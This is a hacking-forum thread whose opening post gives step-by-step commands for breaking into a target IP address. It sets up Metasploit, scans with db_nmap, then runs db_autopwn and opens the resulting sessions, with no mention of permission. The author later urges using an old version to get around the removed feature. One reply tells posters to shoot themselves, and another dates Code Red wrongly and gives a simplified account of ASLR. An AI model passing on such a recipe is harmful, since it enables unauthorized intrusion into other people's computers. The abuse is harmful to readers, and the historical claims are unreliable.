[DarkFlux™]

1.) First you need to download Metasploit. The most up-to-date version is FREE at http://www.metasploit.com/

2.) You need PostgrSQL for your database. Download here: http://www.postgresql.org/ . Make sure you use all the defaults or Metasploit woun't work!

3.) Now lets get down to buisness... After installing both tools, open up the PostgrSQL admin gui (start -> all programs -> PostgreSQL 9.0 -> pgAdmin III). Then right-click on your server (in the left hand box) and click connect. Remember to keep this window open the whole time. You will also need the pass you chose to use in step 5...

4.) Time for some hacking! Go to start -> all programs -> Metasploit Framework, and then open the Metasploit gui. Let it load untill it look like this:


5.)Now, in the window type:

Code:

db_connect postgres:ThePassYouChose@localhost :5432

The first time you do this you will see lots of text flash buy. Don't wory, this is normal.

6.)Type db_host to make sure you are connected correctally.

7.)Now type this:

Code:

db_nmap 000.000.000.000

Make sure you put the ip of the computer you are trying to hack in the place of

Code:

000.000.000.000...

7.) Now we get to the fun part; the automatic exploitation. Just type db_autopwn -t -p -e -s -b , watch the auto-exploitation start, go play Halo for a while, and then come back...

8.) After the exploitation is done, type sessions -l to see what the scanner found. If all went well, you should see a list of exploits.

9.) Now we get to use the exploits to hack the computer! If you will notice, all of the exploits are numbered, and they all have obvious names (i. e., reverseScreen_tcp). In order to use an exploit, type this:

Code:

sessions -i ExploitNumber

[Sir]

I am now officially completely paranoid of showing my IP anywhere, thank you... Anyone tested this?

[Eclipse]

Thanks foe sharing this. I will be sure to try this out.

[The_Joker]

This assumes that the ip address is bound to an actual computer, not an ISP, router or firewall. As well, most home computers are not running the types of services attacked by metasploit. This method is midly effective against webservers running outdated software, but I have yet to get into a home computer using it (I run metsploit attacks across my LAN).

As well the db_aautopwn feature has been removed from metasploit (still available as a module).

[w00t]

Just another metasploit autopwn tutorial, move along folks.

[Black Haze]

This is a method that was posted on another forum and Metasploit has officially removed the autopwn feature. Ergo, making this useless. Please delete this useless thread. Thanks.

[Cyanide and Cynicism]

All of you fail and anyone who's posted seriously on this thread should shoot themselves.

[DarkFlux™]

This is a method that was posted on another forum and Metasploit has officially removed the autopwn feature. Ergo, making this useless. Please delete this useless thread. Thanks.

hello Sir , you Can always Download old Version of Metasploit Right ? And this is not a useless thread .

[Sale0]

Like others have said, the autopwn feature has been removed, but you're right about downloading an older version of metasploit.


It's unlikely that you'll come across a computer in the wild that's unpatched, and susceptible to such an attack. Nonetheless, nice tut.

[Daaksin]

Seems like a fair method to me. If you're surrounded by people still using Windows XP and under. And that's still assuming that they have any running applications which are vulnerable. Take into account the feature, ASLR (address space layout randomization), added into Microsoft Windows after massive attacks such as the Code Red of 2003 (I believe). The feature works by stumping hackers with exploits using pre-defined addresses in memory. This means that attackers will have to guess the address in memory, and taking into account the fact that the program will crash after the first wrong guess, it's a useless form of attack.